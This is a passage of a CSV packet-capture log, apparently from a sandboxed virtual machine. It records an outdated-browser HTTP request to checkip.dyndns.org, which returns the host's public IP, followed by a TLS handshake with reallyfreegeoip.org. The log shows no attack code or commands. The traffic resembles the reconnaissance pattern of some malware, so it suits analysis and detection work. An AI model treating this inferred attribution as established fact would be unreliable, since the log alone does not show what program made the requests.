HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53916, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28727, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497016, \"\"ack\"\": 3385610727, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:22:57.806588,98,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385610727 Ack=3782497143,5254007bb792525400577f9408004500002838da400040064a7984e2f749c0a87aa80050c3b4c9cc51e7e174537750100053b7970000,RT.{..RT.W....E..(8.@.@.Jy...I..z..P....Q..tSwP..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14554, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19065, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385610727, \"\"ack\"\": 3782497143, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:58.361252,99,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938db40004006494784e2f749c0a87aa80050c3b4c9cc51e7e174537750180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32323a353820474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14555, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18759, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385610727, \"\"ack\"\": 3782497143, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:22:58 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:22:58.362289,100,TCP 192.168.122.168:50115 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50115,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=4248002033 Ack=0,525400577f945254007bb79208004500003476aa400080062c56c0a87aa8bc726000c3c301bbfd335df1000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,V..z..r`......3].........W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30378, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11350, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50115, \"\"dport\"\": 443, \"\"seq\"\": 4248002033, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:22:58.362333,101,TCP 188.114.96.0:443 -> 192.168.122.168:50115,188.114.96.0,192.168.122.168,443,50115,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2233452560 Ack=4248002034,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3c3851fc810fd335df28012a56457ea0000020405b40101040201030309,RT.{..RT.W....E..4..@.@....r`...z..........3]....dW..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50115, \"\"seq\"\": 2233452560, \"\"ack\"\": 4248002034, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:22:58.362408,102,TCP 192.168.122.168:50115 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50115,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=4248002034 Ack=2233452561,525400577f945254007bb79208004500002876ab400080062c61c0a87aa8bc726000c3c301bbfd335df2851fc8115010201457de0000,\"RT.W..RT.{....E..(v.@...,a..z..r`......3].....P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30379, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11361, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50115, \"\"dport\"\": 443, \"\"seq\"\": 4248002034, \"\"ack\"\": 2233452561, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:58.362806,103,TCP 192.168.122.168:50115 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50115,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4248002034 Ack=2233452561,525400577f945254007bb79208004500016376ac400080062b25c0a87aa8bc726000c3c301bbfd335df2851fc8115018201459190000160301013601000132030169d77608cb2ea65a68137641da24ad905abdc884a91ff5cf03919cb1e3493f8900000ec00ac009c014c0130035002f000a010000fb0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b00020100002300c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b00170000ff01000100,\"RT.W..RT.{....E..cv.@...+%..z..r`......3].....P. .Y.......6...2..i.v....Zh.vA.$..Z............I?.....\n.\t.....5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[\t..\nJ.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 355, \"\"id\"\": 30380, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11045, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50115, \"\"dport\"\": 443, \"\"seq\"\": 4248002034, \"\"ack\"\": 2233452561, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 310, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=306 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:56  (1775728136) random_bytes=cb2ea65a68137641da24ad905abdc884a91ff5cf03919cb1e3493f89 sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=251 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=192 ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:58.362821,104,TCP 188.114.96.0:443 -> 192.168.122.168:50115,188.114.96.0,192.168.122.168,443,50115,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2233452561 Ack=4248002349,5254007bb792525400577f9408004500002873ba400040066f52bc726000c0a87aa801bbc3c3851fc811fd335f2d5010005357de0000,RT.{..RT.W....E..(s.@.@.oR.r`...z..........3_-P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 29626, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28498, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50115, \"\"seq\"\": 2233452561, \"\"ack\"\": 4248002349, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:58.475155,105,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782497143 Ack=3385611032,525400577f945254007bb792080045000028d29d4000800670b5c0a87aa884e2f749c3b40050e1745377c9cc531850100400b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tSw..S.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53917, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28853, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497143, \"\"ack\"\": 3385611032, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:58.823135,106,TCP 188.114.96.0:443 -> 192.168.122.168:50115,188.114.96.0,192.168.122.168,443,50115,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2233452561 Ack=4248002349,Error,\"Error extracting content: b'&\\x9bvW{\\xd3\\xe4\\x931q\\xa4w\\xf8NE\\xaa\\xf8V\\x1aq+\\x8b\\xb01\\x8c\\xad\\xce\\xff\\x8c\\xe5\\xf7\\xdd5,|o_\\x95=o_\\x95)\\x0eq(t\\x16\\xcd=\\x959\\x84x(\\xaa\\x02\\xd7>h\\xc6[\\xd9\\x88\\xe3f\\xa5\\xee\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b'\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 29627, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28374, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50115, \"\"seq\"\": 2233452561, \"\"ack\"\": 4248002349, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=55 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:22:58  (1777400578) random_bytes=a05509d93b8c9989b25686a57c32900cfc3cc615444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=15 ext=[<TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"{\\\"\"load\\\"\": \\\"\"&\\\\\\\\x9bvW{\\\\\\\\xd3\\\\\\\\xe4\\\\\\\\x931q\\\\\\\\xa4w\\\\\\\\xf8NE\\\\\\\\xaa\\\\\\\\xf8V\\\\u001aq+\\\\\\\\x8b\\\\\\\\xb01\\\\\\\\x8c\\\\\\\\xad\\\\\\\\xce\\\\\\\\xff\\\\\\\\x8c\\\\\\\\xe5\\\\\\\\xf7\\\\\\\\xdd5,|o_\\\\\\\\x95=o_\\\\\\\\x95)\\\\u000eq(t\\\\u0016\\\"\"}\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:58.830605,107,TCP 192.168.122.168:50115 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50115,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=4248002349 Ack=2233452684,525400577f945254007bb79208004500002876ad400080062c5fc0a87aa8bc726000c3c301bbfd335f2d851fc88c5011201457de0000,\"RT.W..RT.{....E..(v.@...,_..z..r`......3_-....P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30381, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, 